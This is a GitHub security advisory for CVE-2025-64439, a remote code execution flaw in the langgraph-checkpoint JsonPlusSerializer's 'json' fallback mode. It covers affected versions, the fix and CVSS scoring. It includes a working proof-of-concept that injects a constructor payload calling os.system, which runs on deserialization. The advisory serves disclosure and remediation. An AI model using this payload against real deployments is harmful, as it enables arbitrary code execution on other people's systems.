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LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

High severity GitHub Reviewed Published Nov 5, 2025 in langchain-ai/langgraph • Updated Nov 6, 2025

Package

pip langgraph-checkpoint (pip)

Affected versions

< 3.0.0

Patched versions

3.0.0

Description

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.


Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

  1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
  2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0


Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.


Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

References

@eyurtsev eyurtsev published to langchain-ai/langgraph Nov 5, 2025
Published to the GitHub Advisory Database Nov 5, 2025
Reviewed Nov 5, 2025
Last updated Nov 6, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. Learn more on MITRE.

CVE ID

CVE-2025-64439

GHSA ID

GHSA-wwqv-p2pp-99h5
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